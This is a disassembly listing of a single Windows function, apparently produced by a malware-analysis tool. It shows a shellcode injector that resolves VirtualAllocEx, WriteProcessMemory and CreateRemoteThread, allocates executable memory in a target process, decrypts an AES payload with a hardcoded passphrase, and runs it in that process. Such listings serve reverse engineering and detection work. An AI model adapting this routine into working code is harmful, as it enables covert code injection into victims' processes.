Function at 0x140001370
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x50
mov rdi, rcx
mov ebx, r8d
lea rcx, [0x140039cd0]
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.VirtualAllocEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x140039cf8]
mov qword [0x14003bb48], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.WriteProcessMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Kernel32.dll
mov qword [0x14003bb40], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.CreateRemoteThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str._nFunction_Pointers:_n
mov qword [0x14003bb38], rax
call fcn.140001880
mov rdx, qword [0x14003bb48]
lea rcx, str.VirtualAllocEx:_0x_p_n
call fcn.140001880
mov rdx, qword [0x14003bb40]
lea rcx, str.WriteProcessMemory:_0x_p_n
call fcn.140001880
mov rdx, qword [0x14003bb38]
lea rcx, str.CreateRemoteThread:_0x_p_n
call fcn.140001880
lea rcx, str._nyou_entered_into_shellcodeInjection_section:_n_n
call fcn.140001880
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x20
mov r8d, ebx
xor edx, edx
mov rcx, rdi
mov r14d, ebx
call qword [0x14003bb48]
mov r8, rbp
lea rdx, str.payload_addr
lea rcx, [0x140039de0]
mov rsi, rax
call fcn.140001880
mov r8, rsi
lea rdx, str.alloc_mem_addr
lea rcx, str.__20s_:_0x__016p_n
call fcn.140001880
lea rcx, str._n_1__Press_Enter_to_Decrypt_XOR_Payload_n
call fcn.140001880
call fcn.1400057f8
mov r9d, 0x18
mov dword [rsp + 0x80], ebx
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rsp + 0x88]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x14000158b
mov rcx, qword [rsp + 0x88]
lea rax, [rsp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x14000158b
mov rcx, qword [rsp + 0x40]
lea rdx, str.todayindiawin333A
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
mov r8, qword [rsp + 0x40]
lea rax, [rsp + 0x48]
mov rcx, qword [rsp + 0x88]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x80]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rbp
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
mov rcx, qword [rsp + 0x88]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
xor ebx, ebx
mov r9, r14
mov r8, rbp
mov qword [rsp + 0x20], rbx
mov rdx, rsi
mov rcx, rdi
call qword [0x14003bb40]
lea rcx, str._2_done__WriteProcessMemoryFunc
call fcn.140001880
mov qword [rsp + 0x30], rbx
mov r9, rsi
mov dword [rsp + 0x28], ebx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbx
mov rcx, rdi
call qword [0x14003bb38]
mov rbx, rax
test rax, rax
je 0x1400015f2
mov edx, 0x1f4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400015f7
mov eax, 0xffffffff
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x50
pop r14
pop rdi
pop rsi
ret